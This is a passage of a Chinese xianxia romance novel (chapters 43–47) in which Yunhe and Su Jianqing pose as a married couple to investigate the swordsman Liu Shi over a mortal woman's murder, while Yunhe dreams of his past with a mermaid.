她好奇发问:“你是修士?” “是。” “水妖”弯起眼笑,举起手中之剑,从容自信道:“我叫柳适,是名剑修。” 她心脏再度狂跳,结结巴巴道:“我、我叫……” 蕴禾猛地睁开眼。 不是,断在这儿,这梦有病吧? 她气冲冲下床去隔壁找苏见清。 谁知房门一开,苏见清正站在门外。蕴禾眉梢一扬,与他同时开口。 “柳适此人不简单。” “阿蕴姑娘,我想起那柳适是何人了。” 蕴禾:“?” 苏见清一怔,“阿蕴姑娘是怎……” 蕴禾竖起手掌将他打断,“你先说。” 苏见清按下疑惑,“我幼年时在师尊的沉霄峰练剑,曾无意中听他与长老说起,百年前玄清域有名剑修名唤柳适,持一柄清风剑,剑法出神入化,若他潜心修炼,未来说不准能问鼎玄清。可惜他不知出了何变故,多年来销声匿迹,长老猜测,他或许已不在人世。” “我看过柳适清风剑的画像,与柳姓郎君腰上那柄玉剑一模一样。” 蕴禾也道:“我方才做了个梦,梦到我附身在一女子身上,那女子当年游历玄清域,曾与柳适见过面,听他自称是名剑修。” 这便对得上了。 柳姓郎君,极大可能便是柳适,只是他如今为何修为全无,竟似个普通人? 还有一事苏见清不解,“阿蕴姑娘为何会做这个梦?” 说到这儿蕴禾就郁闷。 从来到这观沧海开始,奇奇怪怪的梦境不断,如今都能梦到别人的过往了。 心中一动,她摊开掌心,露出一枚紫色鲛珠。 “或许与它有关。” 苏见清沉吟片刻,“阿蕴姑娘是怀疑,你附身的那名女子是这枚鲛珠的主人?” “有可能。” 紫色鲛珠在蕴禾掌心散发出柔和莹润的光芒,她道:“百年前妖域混乱,或许有鲛人趁此时机离开妖域,来到玄清,与柳适相识。” 苏见清迟疑,“阿蕴姑娘认为,此事与封柔姑娘的死,或者说魔修有关吗?” 蕴禾掌心收握,收起鲛珠,“我不知道。但这对夫妻一定不简单。” 苏见清唇线平直,想起在莲若身上感受到的气质,他不确定道:“鲛珠的主人,有没有可能是莲姑娘?” “不可能。” 蕴禾斩钉截铁,“鲛珠对鲛人来说何等重要?一旦离体,那鲛人活不过三年。莲若虽柔弱,却不像寿数将尽之人,何况我并未在她身上感受到妖气,不可能是她。” 苏见清轻轻叹了口气,“还是得从封柔姑娘身上下手,不如我们现在去趟城主府?” 蕴禾拒绝,“我不去,要去你自己去。” 她转身进房。 大晚上的不睡觉,往外面跑什么跑? 苏见清无奈,“那阿蕴姑娘,我自己去了。” “赶紧去。” 蕴禾摆手,顺道关了房门。 …… 翌日睡到自然醒,蕴禾伸着懒腰从贝壳床上起身。 奇怪,昨晚回去之后,她竟然没做梦了。 离开客栈,蕴禾随意找了家铺子吃早膳。 叼着鱼饼嚼,目光随意扫过街边来往行人。蕴禾吃着吃着,忽地把饼拿掉,轻轻叹口气。 苏见清不在,她竟然有些不习惯。 蕴禾味同嚼蜡,草草吃了两口,将账结了,施施然去莲若家。 还是上次那片屋顶,她拿出青羽,姿态舒适地躺上去。 今日这夫妻俩待在家中,柳适兴致上来,拉着莲若作画。他的画技很是精湛,寥寥几笔,画中美人活灵活现,与莲若相对而视时,跟照镜子似的。 莲若捧着画,笑得一脸欢喜,凑上去在柳适脸上亲了一下,在丈夫伸手抓她时脚步轻旋,笑着躲开。 夫妻二人你追我赶,笑声充斥着小小院子。 蕴禾跟看戏似的,等两人进屋,她无聊地打了个哈欠。 阳光正好,照在身上暖洋洋的,惹来一阵困意。 蕴禾枕着双臂躺在青羽上,缓缓闭眼。 仿佛只有短短一瞬,蕴禾的意识再度清醒。眉心有轻微痒意传来,她眉头一蹙,挣扎着睁眼。 面如朗月,清淡似风的男子在她上方。 他手里拿着一绺头发,正用发尾轻扫姑娘眉心,见她睁眼,男子勾唇轻笑,似清风吹拂山岚,露出青山苍翠的身影。 “醒了?” 第43章 哦,她这是又入梦了。 蕴禾十分平静地想。 她感觉到“自己”起身,扑上去拍打柳适,“你好烦啊!我睡得好好的,你干嘛弄醒我?” 柳适边逃边笑,“我错了,真的错了,小祖宗,你饶了我吧。” 她怒气不散,“说!你还敢不敢这么闹我?” 柳适举手投降,眉眼间皆是笑意,“不敢了,再也不敢了。只是你再睡下去,我们该错过观沧海的年庆了。” “啊!” 她大叫一声,慌乱道:“那你该早点叫我的,快快快,我们赶紧走!” 柳适无奈耸肩,含着笑的眼里流露星点宠溺。 他追上前方慌慌张张的姑娘,“别急,来得及,你慢慢走。” 二人赶在年庆开始之前到达观沧海。 入城的刹那,万千烟花如流星覆盖整座城池,游鱼如流水涌进,在空中摆出数条祝福语。 乐声响起的瞬间,身着华服的姑娘们凭空出现,伴着游鱼翩跹起舞,彩色气泡萦绕周身,鱼儿吻在姑娘脸颊,惹来阵阵笑声。 珊瑚为树,珍珠作星,眼前一幕美得仿佛一幅画。 她一眼不眨地看着,轻声道:“好美,我喜欢这里。” 偏头看向柳适,她笑声清脆,“以后如果要在玄清域选一个地方隐居,我一定会选观沧海。” 柳适惊奇,“这么快就确定了?” “是啊。” “此处是美,可为何非它不可?” 她背着手,歪头看他,“此处有我喜欢的水,喜欢的景,这还不够吗?” 柳适含笑点头,“足够了。” 她笑开,蓦地跑进欢呼雀跃的人群,回身对着柳适招手,“快来,这里好热闹!” 柳适在原地安静地凝视她,清澈眸底倒映着姑娘灿烂的笑容。 他一眼不眨地看了许久,似要从她的外表,看进她的内心。 她疑惑,高声唤她的名字,“柳适,你怎么不动,快过来!” 晚风吹得男子衣袂翩飞,墨发如丝带散开,他脸上笑意如沐春风,忽地用力朝姑娘奔去。 “来了!” “这个灯好漂亮。” “喜欢?我替你买。” “哇,这个好吃,你快尝尝。柳适,你快看那里,好多姑娘。” “好像是有人在作画,去看看?” “好啊。” “他画得好漂亮,那些姑娘看着好高兴,说来,我还没被人画进画里过呢。” “简单,我替你画。” “喏,你看,如何?” “啊啊啊好丑!柳适!你怎么可以把我画成这样!” “千篇一律的漂亮有什么稀奇的,这样才有特色呢。” “柳适!你太过分了!” “错了错了,我错了。你若想要一张漂亮的画,我带你回家,我的……作画……” 二人的声音像被罩上一层结界,离蕴禾越来越远。 她徐徐睁眼。 眼前一张放大版的俊脸关心道:“阿蕴姑娘,你醒了?” 与梦里相似的情景令蕴禾心跳失衡,有片刻的失神。 她怔怔凝着眼前之人,忽地伸手触碰他的侧脸。 苏见清瞳孔放大,瞬间红了脸,“阿、阿蕴姑娘,你、你怎么了?” 哦,是真的苏见清。 蕴禾手贴着苏见清的脸把他推开,伸手抵住额头,闷声道:“我又做梦了。” 苏见清坐在她身边,温声问:“什么梦?” “柳适和那女子共游观沧海的梦。” 蕴禾眯眼盯着下方房屋,“你说,男人的情意当真这么廉价?假如那鲛人当真已香消玉殒,可不过百年罢了,柳适竟另觅新欢,左拥右抱,好不快活。” “如果是你。” 蕴禾偏首望向苏见清,“你的爱侣身陨道消,你会怎么做?” 苏见清转过眸子,清浅眸光落在蕴禾身上,出神一瞬,轻声道:“我若有道侣,定是视她为此生唯一,倘若她不幸身陨,那我就为她守节一辈子。” 蕴禾略有恍神,不满暗瞪苏见清一眼,心中腹诽,这么认真看着她做什么,不知道的还以为他说的道侣是*她呢。 她不屑开口,“修士一生何其漫长,感情好时自是各种甜言蜜语,可人若不在了,这孤寂岁月如何度过?难不成只能靠一点稀薄记忆挂念故人?一年两年尚能如此,可百年千年呢?一个个的,不过都是下一个柳适罢了。” 苏见清无声轻笑,并未反驳,“阿蕴姑娘说得是。” 不知道为什么,听到他如此,蕴禾心里仿佛有股气在乱窜。倘若苏见清驳回她的话,她或许还会好受些,偏偏他无比顺从。 可她若是因此发脾气,又显得她喜怒无常,无理取闹。 简直像是一块石子吊在空中,不上不下得惹她心烦。 蕴禾强迫自己转移注意力,“你在城主府可有发现?” 说回正事,苏见清正了脸色,缓缓摇头,“我检查过封柔姑娘的尸体,她的脖颈与手腕皆被利器割破,除此之外身上再无伤势。杀人者身法极快,行事谨慎又大胆,除了那缕魔气,我再无其他发现。” “割喉而亡。” 蕴禾托住下巴,“这么恨封柔,究竟是谁呢?” 目光下扫,莲若与柳适交换位置,女子执笔,含笑勾画对面郎君。 蕴禾眉头轻蹙,“凭直觉来说,我还是觉得这对夫妻的嫌疑最大。” 柳适虽说封柔非他所杀,但此事一定与他有关。 苏见清:“阿蕴姑娘既心存疑虑,不如试探一番?” “如何试探?” …… 夜色无声降临,将整座城池包含在内。 闪烁繁星与皎洁明珠交相辉映,光泽温和明亮。 小院里升起袅袅炊烟,一道温柔女声忽道:“夫君,家里没酒了,你快去买些回来。” 男声疑问:“今夜想喝酒吗?” “哎呀,是我做菜要用的。” 莲若拉起坐在灶膛后的夫君,推着他出门,嗔怪道:“这道菜没酒,滋味可就少了一半,你快去。” 柳适笑着开口,“好,我这就去。” 莲若叮嘱,“一定要快些哦。” 一个好字还未出口,女子已急匆匆折回厨房。 柳适无奈,关好院门,独身离开。 他去最近的酒馆打了酒,拎着酒壶回家。 小巷昏暗,在夜明珠辉映下依稀可看清道路,一道黑影映在墙壁,随着他的脚步挪动。 海风自身后吹来,夹带淡淡的海腥味。 柳适衣摆飞扬,脚步不停。 在观沧海住了这么多年,他早已对这股味道免疫。 只是…… 他忽地转身,目光落在黑暗处,平声问:“阁下跟了我一路,究竟想做什么?” 第44章 一道身影在柳适的注视下缓慢出现。 他眉心堆叠,眸底渗出寒光,直直射向对面男子,“你是谁?为何一路跟随?” 苏见清瞥向他腰间玉剑,声如碎雪,“没想到昔日的清风剑柳适,竟龟缩在这观沧海多年。” 柳适目光陡然一厉,“你认得我?” 苏见清:“你腰间玉剑,我碰巧见过。” 柳适目光下移,手掌紧攥一瞬,又缓缓松开,“你既认得我,又一路跟我至此,究竟想做什么?” 苏见清眸光冷冽,“封柔之死,可与你有关?” 柳适眉间微松,“无关。” “撒谎。” 苏见清直直盯着柳适眉心,“封柔姑娘一介凡人,并未与人交恶,唯一的异常便是与你有私下往来,若不是因你之故,她怎会招惹杀身之祸?” 柳适眉眼不动,“我与她不过萍水相逢,她平日里的行径我一无所知,怎能因几分私情便给我定罪?” 他眉尾上挑,眸中溢出讽刺邪肆,“或许,是她自己行为不当,惹出来的祸事?” “你还不承认!” 苏见清大怒,“封柔分明死于魔修之手,柳适,你可是入了魔?!” “什么?” 柳适震住,掌心下意识攥紧,“怎么可能?” 苏见清不再给他反应的机会,祭出长虹,一剑朝柳适刺去。 雪亮剑光映上侧脸,柳适蓦地回神,长指翻飞,快如残影。一道法印自他手中飞出,落到苏见清头顶,刹那间数把白色小剑当头坠下。 苏见清迅速收势,身影如燕避开剑势。 他飞身而上,长虹撞上法印,一剑劈下。 法印晃动两下,稳稳不动。 苏见清锲而不舍,单手结印,灵剑气贯长虹,再度一剑斩下! 法印裂开一道缝隙。 柳适失神凝视苏见清的身法,低声喃喃,“穿云剑法,伏渊剑修……” 他目色渐凝,眸底闪过杀意,双手再度结印,两道法印飞出,一道烈火灼烧,一道清风徐来。 三道法印结成剑阵,刹那间万剑齐发,势将那伏渊剑修斩于阵下。 苏见清意外,视线看过去时,正好看清柳适眉间尚未退散的杀意。 他心中不解,柳适想杀他?为什么? 剑气齐刷刷落下,三种颜色的灵光坠于眼中,苏见清不欲纠缠,拿出蕴禾交予他的青羽,用力一捏。 青光闪烁,下一瞬,剑阵之中已无剑修身影。 剑气湮灭,柳适看着空无一人的巷子,脸色逐渐难看。 竟然跑了。 伏渊的剑修,也不过如此。 结印的双手散开,三道法印逐一消散,柳适面无表情在原地站上片刻,拎着酒壶返回家中。 推开院门的前一刻,他脸上扬起笑,温声唤道:“阿若,我回来……” 话音陡然截住。 院中一道身影徐徐转身,对他温和一笑,“这位便是柳郎君吧?” 方才还与他在巷中交战之人,此刻竟好端端站在他家中。 柳适目露煞气,手指一动,在暴露杀招之前,一道女声懒散唤:“莲姑娘,你家夫君回来了。” “回来了?我的酒呢?” 莲若的身影从厨房内走出,笑盈盈朝柳适迎去,“可算是回来了,就等你的酒呢。” 柳适手松开,露出笑容,目光掠过莲若身后的蕴禾与苏见清,“阿若,他们是?” 莲若笑着为他介绍,“这位是阿蕴姑娘,这是苏见清苏公子,他们夫妻二人准备在观沧海定居,买下了我们隔壁的院子,今日是来串门的。” 柳适笑容微僵,“我们隔壁不是已经有人住了?” 莲若解释,“黄婶子家去年不是迎了儿媳妇进门?今年她添了双孙子,家里住不开,索性将房子卖了,换个大点的住处。” “怎么之前没听你说起?” 莲若笑,“黄婶子搬家匆忙,我也是今日阿蕴姑娘过来串门时才知道的。” 柳适笑意不达眼底,“原来如此。” 莲若拿过他手里酒壶,俏皮眨眼,“你陪阿蕴姑娘和苏公子聊聊,我进去做饭。” 柳适温柔而笑,“好。” 窈窕身影消失,他脸色骤变,眸中渗出寒光,“你们究竟想做什么?” 苏见清温和道:“柳前辈不必如此紧张,我们只是想找出杀害封柔姑娘的魔修。” 柳适勾唇,嘲讽恶意朝着剑修压去,“你这么关心她,不知道的,还以为你是她的姘头。” “你这人不仅说话难听,心思更是龌龊。” 蕴禾冷笑搓着指腹,“还清风剑呢,当真是辱没了此名。” 柳适眸中寒芒乍现,轻抬的眸光夹带慑人冷意,垂落身侧的手划出一缕灵气。 苏见清挡在蕴禾身前,“我寻魔修,是为了除魔卫道,与封柔姑娘无关,柳前辈不必过多猜测。” 蕴禾对他的背影无声轻哼,挡上来作甚,本皇还怕一个柳适不成? 柳适分毫不让,手中法印隐隐成型。 “诶,你们站着做什么?” 莲若从厨房门口探出半个身子,嗔怪道:“阿适,你怎么都不知道帮客人们搬个凳子?” 柳适飞快将手收到身后,法印逐渐溃散,笑道:“怪我,我马上就来。” 莲若这才露出笑,略带羞赧道:“二位见谅,我家夫君有些不喜见生人。” 苏见清颔首回复,“是我们冒昧打扰了。” “都是邻居,有什么打扰的。” 莲若笑回:“饭菜快好了,你们先坐吧。” 一刻钟后,四人在院内落座,莲若热情招待二人,“粗茶淡饭的,也不知阿蕴姑娘和苏公子吃不吃得惯。” 蕴禾瞄一眼,有鱼有肉,色香味俱全,实话实说道:“这若是粗茶淡饭,外面的铺子都开不起来了。” 简单一句话听得莲若眉开眼笑,姣美面容萦绕温柔笑意,“阿蕴姑娘可真会说话。” 蕴禾捏着筷子莫名,这还是第一次有人夸她会说话,怪稀奇的嘞。 柳适拉着莲若入座,夹一块肉放在她碗里,温声道:“阿若今日辛苦了。” 莲若轻轻摇头,笑眼弯弯,“有你陪在身边,我不辛苦的。” 柳适笑容微顿,温柔抚摸莲若柔软发顶,轻声细语为她夹菜,极尽体贴。 余光瞄到对面二人,他眼睛微眯,温声道:“二位是夫妻?” “夫妻”二字让苏见清耳根一烫,剥蟹的手险些不稳,见蕴禾没应,赧然含糊应道:“是。” 柳适轻笑一声,“怎么看着不像?” “柳郎君觉得怎样才像夫妻?” 蕴禾抬头,“每个人性子不同,你与莲姑娘成婚多年,自是柔情蜜意恩爱如初。我家见清性子腼腆,不喜在外人面前做出亲密之举,我也不能强求不是?” “不过他素来听我的话,一次两次也没什么大碍,你若想看,我应了便是。” 蕴禾转向苏见清,轻抬下颌,双唇微张,命令道:“喂我。” 第45章 早从那句“我家见清”开始,苏见清整个人便已呆滞。 此时听见蕴禾的命令,整张脸庞瞬间爬满红晕,耳根红得滴血,清澈眸光似蒙了层水光,羞赧得似沧海上空瑰丽绚烂的晚霞。 他握紧手里的蟹,好半晌没动静,惹得蕴禾暗暗瞪他一眼。 搞什么,现在拆她台。 莲若见状拍了柳适一下,笑着打圆场,“看你做的好事。阿蕴姑娘,他就是调侃两句,没坏心的。” 蕴禾掌心逐渐收紧,就在眼里怒气快要压抑不住时,苏见清快速将蟹肉喂到她嘴边。 蟹肉入口的刹那,温热指腹落在饱满唇肉上,蕴禾一呆,连肉都忘了吃,唰一下侧头看向苏见清。 他亦是惊呆了,瞳孔微颤,赧然逐渐从脸颊爬至眼中,使得那双凤眸像极了晨间山麓中弥漫的薄雾。 蕴禾杏眼中倒映着苏见清清隽的脸庞,她眼睛微微一弯,快速偏头,将口中蟹肉囫囵嚼两下吞咽,对莲若笑道:“柳郎君的确做了件好事。” 莲若目光在蕴禾与苏见清之间打转,眼里漫上笑意,“是阿适的荣幸。” 蕴禾端起酒杯,“莲姑娘,我敬你一杯。” “好啊。” 这二人相谈甚欢,柳适在一旁时刻注意着妻子的动作,无人理会一旁还未醒过神来的苏见清。 他呆滞地剥着蟹放在蕴禾碗里,余光悄悄瞥向她的方向,不受控制地往下移,落在蕴禾唇瓣上。 下一瞬又慌里慌张移开,努力将注意力放在手中蟹上,可思绪一会儿就不受控制地飘走了。 苏见清轻轻摩挲一下指腹,唇瓣微抿。 好软。 …… 用过晚膳,蕴禾起身告辞。 临走之前,她将礼物送到莲若手里。 “多谢莲姑娘招待,这是谢礼。” 手腕上的温润触感格外清晰,莲若低头,瞧见一只翠绿手镯。 她连忙推拒,“不过一顿饭而已,这也太贵重了。” 蕴禾把她的手摁回去,笑道:“不是什么值钱东西,光好看罢了,莲姑娘拿着吧。” 她拉过苏见清,朝莲若挥手,“再会。” 莲若送二人到门口,看着两道身影消失在隔壁,这才折回去。 柳适正在收拾碗筷,见状问道:“她送了什么?” 莲若抬手,露出葱白手腕上挂着的手镯。指尖拨弄几下,她轻声道:“这位阿蕴姑娘,像是来头不小。” 柳适笑,“管她什么来头,你既喜欢,那便收下。” 莲若露出笑,“好。夫君,我来帮你。” 她走上前,帮柳适将碗叠在一处。 动作间腕上翠绿手镯与瓷碗碰撞,发出清脆的响声。 柳适瞥去一眼,眸光微暗。 隔壁。 进门后,蕴禾抬手布下一道结界,问:“如何?” 苏见清摇头,“柳适的身上并无魔气,不过……” “不过什么?怎么吞吞吐吐的?” 蕴禾白他一眼。 苏见清轻咳一声,不太敢看她,目光偏移,虚虚落在蕴禾肩后半空,“柳适分明是剑修,可我与他一战,却并未见他出剑。” 停顿片刻,他道:“他的路数,倒像是法修。” “法修?” 蕴禾皱眉,“玄清域并非没有剑法双修的例子,难不成是他这百年来转修了术法?” “有这个可能。” 苏见清迟疑,“若柳适并非杀害封柔的凶手,那莲姑娘便有嫌疑了。倘若她发现了丈夫与封柔姑娘的情事,恼怒之下杀人也并无可能。可她怎么看,都像是一介普通女子,怎会和魔修有牵扯?” 蕴禾想得头痛,直接不想了,“明日再探吧,我要休息了。” 转身之际,却见苏见清神色扭捏,似有难言之隐,她好奇,“你还有什么想说的?” 苏见清长睫扑闪,侧眸避开蕴禾清亮好奇的目光,小声道:“为何……要与我夫妻相称?” 就这? 蕴禾理所当然道:“当然是方便啊。” “我与你同住一屋,不说是夫妻,还能是什么?兄妹?姐弟?” 看看自己,又看看苏见清,蕴禾撇嘴,“我俩一看就长得不像。” 微凉夜风吹过,院中枝叶“沙沙”作响,树影斑驳无章,苏见清面上热度退散,双唇抿直,“也可以说是朋友。” “谁家朋友特意买个院子一起住?说出去你信吗?” 蕴禾摆手,“不过一个对外称谓而已,咱们知道是怎么回事不就行了?累死了,我先回去睡了,你也去休息罢。” 院内很快只剩下苏见清一人,他静静站了许久,晚风吹拂碎发,暗淡双眸若隐若现。 回屋后,蕴禾正要躺上床,忽然后知后觉,“他刚才是不是在不高兴?” 她起身开门,脑袋往外一探,院中已不见苏见清的人影。 默默将视线挪向亮着灯的隔壁,蕴禾摸不着头脑。 他为什么不高兴? 心里似有猫爪在挠,挠得蕴禾心痒难耐,很想追过去问个究竟。 脚步刚一挪动,却见隔壁的灯已经熄了。 行吧。 蕴禾不情不愿地缩回脚步。 好奇心没能得到满足,她重重把自己扔回床上,不爽往上吹口气。 都怪苏见清,好端端的有什么不开心的? 闷了一会儿,她强迫自己闭眼。 蕴禾发现自己又入梦了。 她听到自己附身的这具身体说:“阿适,你家里人真的不会不喜欢我吗?” 柳适牵住她的手,柔声说笑,“你这么好,谁会不喜欢你?” 她甩开手,“你烦不烦,我在这儿担心,你倒好,还有心情和我说笑。” “好了好了,别生气。” 柳适连忙去哄,“我与你说过的,我父母早逝,家中唯有一胞弟,留在祖宅由老仆照料。” “我这弟弟身子不好,性子有些古怪,他若是有什么冒犯你的地方,你可千万别和他一般计较,只管来寻我出气。” 她皱着眉,语气夹带怜意,“你弟弟为什么身体不好?” 柳适无奈叹气,“母亲在怀我们时曾受过伤,我出生后身体康健,可他却孱弱无比,想来是那暗伤都落在了他身上,导致他常年缠绵病榻,无法如我一般,修习母亲的剑术。” 她小小“啊”一声,可怜道:“那他岂不是从来没走出过你们的家乡?” “是啊。” “那回去之后。” 她忽然露笑,挽住柳适臂弯,“我们把玄清域各处风景都说给他听,画给他看。” 柳适微怔后露出笑意,“这法子好,不过我的画技不如阿弟,就怕到时贻笑大方。” “你不会画我来就是。” 她笑意盈盈,“我的画可比你的好看。” “那当然。” 二人说说笑笑在一座城池落定,柳适带着她穿柳过桥,在一座老宅前停下。 门前柳树下站着一道身影,柳适欣喜唤他,“阿弟!” 她踮着脚尖好奇张望。 那人转过身来,浓荫之下,清浅眸光轻轻在她身上停留,旋即看向柳适。 “阿兄。” 第46章 蕴禾霍然睁眼,身子腾起在半空中翻转一周,避开凭空射来的剑气,跃出窗子,稳稳落在院内。 隔壁的苏见清亦从入定中醒来,快步行到蕴禾身侧。 二人抬头,望向屋檐上的身影。 那人负手而立,衣摆翻飞,墨发飞舞,修长十指快如残影,一道道法印飞出,将小小院子牢牢包围。 苏见清与蕴禾对视一眼,朗声道:“不知柳剑君深夜拜访,有何要事?” 圆月自那人身后升起,皎洁月光照亮男子面容。柳适抬眸,碎发下遍布寒星的眸子冷冷向苏见清投去一眼,手势快速变换,最终定格。 “嗡——” 院中法印齐齐发出震动,下一瞬,铺天盖地的剑雨从四面八方朝二人压来。 苏见清眉头一皱,掌心张阖将长虹握在掌中。 他刚要动,忽地被蕴禾一把拉住。 “……阿蕴姑娘?” 蕴禾最烦被人吵醒,此时戾气深重,恰逢罪魁祸首打上门来,不好好收拾他一顿,简直浪费了这般良机。 她身上妖气暴涨,衣袍无风自动,手握一根翠绿青竹,棍风横扫,法印发出脆响,“噼里啪啦”全部碎裂! 蕴禾飞身而上,一棍朝柳适当头砸下! 柳适法术被打断,体内遭到反噬,嘴角溢出血丝,单手结出结界挡在身前。 眼前的姑娘面无表情,眼底溢出烦躁戾气,看人的目光格外凶戾,与晚间那名带有几分懒散的姑娘截然不同,像是一只被唤醒的凶狠庞大的妖兽。 柳适闷哼一声,鲜血喷涌。 他单手擦去,望着蕴禾的目光渐深,喃喃道:“妖……” 余光落在下方的苏见清身上,柳适嘴角勾起一抹意味深长的笑。 堂堂伏渊仙君,竟与一名妖修以夫妻相称。 可真是……有意思。 眸光一转,柳适眼角泄出邪意,指腹摩挲捻去血渍,缓缓落在腰上。 蕴禾握着青竹的手往下压。 就在这时,一道轻柔的呼唤无比清晰送入众人耳中。 “阿适,你去哪儿了?” “阿适?” 蕴禾眉心微动,望向隔壁院内正在寻找夫君的柔弱女子。 瞪了柳适一眼,她收回青竹。 在她收势的那一刹,柳适的身影原地消失。 “阿适?” 女子的声音里饱含欣喜,“你方才去哪儿了?我醒来时不见你,找了你许久。” 男子嗓音温柔,“是我不对。我半夜醒来见月色甚美,一时看住了。” “你想赏月,为何不叫我?” “扰你睡眠,待你醒来该恼我了。” “我才不会。走吧,我和你一道出去赏月。” “好。” 二人的声音逐渐远去,蕴禾跃下屋檐,莫名道:“他为何要杀我们?” 苏见清摇头,眉心紧皱不放,“我也不知。” 这人真是奇奇怪怪的,一点也不像她梦中如风肆意的柳适。 岁月当真能让一个人发生巨变? 蕴禾懒得想,正要回屋,脚步将将抬起,又重重落下。 看着苏见清,她问:“你方才为何不悦?” 苏见清被问住,“我、我何时不悦?” “回屋之前。”蕴禾笃定,“你定在不悦。” 苏见清哽住,不知该如何与她开口。 偏蕴禾并不想放过他,凑近仔细观察苏见清的表情,眯着眼逼问:“说!” 苏见清喉结滚动,手心发麻,内心反复纠结。 是说,还是不说? 蕴禾:“快说。” 猛地深吸一口气,苏见清攥住衣袖,“是因阿蕴姑娘说,与我夫妻相称,只是图个便利。” 蕴禾不解,“有什么好生气的,这不是事实吗?” 思绪一转,她问:“难不成,你是怪我不经过你同意,在外与你假扮夫妻?” 蕴禾不高兴地鼓起脸颊,“我说都说了,你不高兴就不高兴吧。” 她丢下苏见清,转身就走。 “阿、阿蕴姑娘……” 苏见清不解,怎么就变成了这般?他、他还以为说出来之后,阿蕴姑娘会将他骂一顿。 急忙追上去,苏见清去拉蕴禾手腕,“阿蕴姑娘……” 蕴禾侧身一躲,眨眼之间身影已落在屋内,带着脾气关上门,“困了,我要睡了,别打扰我。” 苏见清无奈又茫然。 这是怎么变成这样的? 屋内的蕴禾气极,将收在储物手链里属于苏见清的东西放出,从里拿了棵灵草,把它当成苏见清,泄愤似的咬在嘴里。 哼,和堂堂妖皇陛下以夫妻相称是什么丢人的事吗? 她都没嫌弃苏见清呢,他竟然敢嫌弃她! 可恶的人修! 蕴禾用力嚼嚼嚼,把灵草咽下去,仍不解气,又取出几颗灵石,将之捏成齑粉抛着玩。 可恶可恶可恶可恶。 可恶哇! …… 翌日,蕴禾推开门时,一眼瞧见院子里忙活的颀长身影。 她板着脸将之无视,昂首挺胸从他身边走过。 “阿蕴姑娘要去哪儿?” 蕴禾语气恶劣,“你管我。” 苏见清指着厨房,垂着眼睫语气低落,“昨夜惹阿蕴姑娘生气是我不对,我一大早便起来忙活,想给阿蕴姑娘赔罪。阿蕴姑娘一口也不想尝尝吗?” 蕴禾嗅了嗅鼻子,闻到空气中的香味,不争气地咽了口唾沫。 余光瞥着苏见清莹白侧脸,她暗暗咬牙。 这人修从哪儿学来的做派,这样就想拿捏她? 做梦去吧。 她哼一声,目不斜视往前迈一步。 苏见清:“我还做了许多糕点,原以为阿蕴姑娘会喜欢……” 剩下的一步无论如何也迈不下去,蕴禾喉咙滚动,大气地想着。 算了,妖皇陛下大人有大量,不和一个小小人修一般见识。 她遽然转身,闪身到石桌旁坐下,两只乌溜溜的大眼睛盯向苏见清,“还不快把东西都呈上来?” “是。” 苏见清转身去端盘子,凤眼里闪过笑意。 阿蕴姑娘,当真和云团一样好哄。 片刻后,蕴禾心满意足地吃上早膳。 她一手拿一块糕点,咬一口这个,又尝尝那块,吃得好不高兴。 苏见清给她倒水,轻声细语道:“吃慢些。” 等蕴禾吃得差不多了,他犹豫半晌,拿出早已准备好的东西。 “这个送给阿蕴姑娘。” 蕴禾叼着桃花糕往下瞟一眼。 石桌上躺着一只食铁兽玩偶。材质很眼熟,似乎是由碧落潮边上的石头做的。 那食铁兽做得惟妙惟肖,像极了她的原形。 把糕点咽下,蕴禾拿起食铁兽玩偶,“为何送我这个?” 苏见清轻轻勾唇,眼带温柔,“云团是我的家人,阿蕴姑娘是我……朋友,我一时兴起做了此物,想让阿蕴姑娘也看看它。” 掌心触感温润,有些像玉石,蕴禾打量着它,中肯道:“可爱。” 苏见清轻笑,“阿蕴姑娘喜欢?” 蕴禾不假思索,“当然。” 她自己的原形,怎么能不喜欢。 “若是有机会……” 苏见清的话音骤然顿住。 阿蕴姑娘是妖修,师尊向来不喜妖族,她若是上伏渊被师尊发现…… “你说什么? 蕴禾没听清。 “没什么。” 苏见清摇头,语气温和,“今日还去隔壁吗?” 蕴禾收下食铁兽,“当然要去。” 第47章 用完早膳,蕴禾与苏见清一道去了隔壁。 “谁呀?” 隔着门,莲若略显闷厚的嗓音响起,“嘎吱”一声,她推开门,惊喜道:“阿蕴姑娘,苏公子,快请进。” “莲姑娘,叨扰了。” 蕴禾二人入内。 “岂会叨扰,有人陪我说话,我高兴还来不及呢。” 莲若弯着眼笑,温婉清丽中透出俏皮。 蕴禾目光扫视,问道:“柳郎君今日不在?” 莲若摇头,“他出门去了。” 蕴禾挑眉,“一大早就出门了?” “他在外找了份活计,忙碌时常常见不到人影的。” 蕴禾了然颔首,看向院中木盆,“莲姑娘这是在做什么?” 莲若笑道:“今日天气不错,我想着把桌椅搬出来清洗干净,避免发霉。” 苏见清:“我帮莲姑娘。” “不用不用,我自己能行。”莲若急忙拒绝,“哪能让客人动手呢?” “没事。” 蕴禾摆手,“他闲着也是闲着,不如帮莲姑娘做点事。” 话是这么说,莲若却不能什么都让苏见清做,对蕴禾笑笑,去打了盆水来,拿着木刷冲洗。 苏见清站在一旁观察她的动作,有样学样。 蕴禾无所事事站在一旁,不时与莲若说几句话。 “苏公子准备何时去寻活计?” 蕴禾:“啊?” 她一脸懵,“什么活计?” 莲若意外,“苏公子若是不寻活计,他拿什么养家?” 蕴禾无所谓,“我有钱,不用他养。” 莲若细细打量她一眼,笑道:“看来阿蕴姑娘出身不凡。” 蕴禾笑笑,并未答话。 莲若垂首,认真冲洗桌椅,嘴里轻轻哼出小调。 调子轻柔又动听,似深海中传出的一首歌谣,古老悠远。 蕴禾问:“莲姑娘这调子是从何处习来的?” 她回忆片晌,“我好像在何处听过。” 莲若脸色骤变,唇瓣轻抿,抬头佯装无事,“是我家乡流传下来的曲子。” “莲姑娘的家乡在何处?” “一个很远的地方。” 莲若看向某个方向,语调哀伤,“可惜,我或许此生都无法回去了。” 蕴禾:“为何?” 莲若笑笑,“我爹子嗣多,多我一个不多,少我一个也不少,何况我离家前惹他生气,或许他也不想我回去。” 蕴禾若有所思。 眼前方桌已清洗完毕,莲若端起铜盆准备将水倒掉。刚往前迈一步,她忽地头晕眼花,“哐当”一声,铜盆掉落,脏水洒了一身。 “莲姑娘!” 蕴禾及时将她扶住,“你怎么了?” “没、没事。多谢阿蕴姑娘。” 莲若扶额,低弱的嗓音透着虚弱,“可能是蹲太久了,我缓缓就好。” 苏见清停下动作,关心道:“没事吧?” 蕴禾摇头吩咐,“你把剩下的清洗了,我带莲姑娘进去坐坐。” “好。” 半抱着将莲若扶进屋里坐下,蕴禾给她倒了杯水。 莲若手抖,险些没拿稳,蕴禾只好亲手喂到她嘴边。 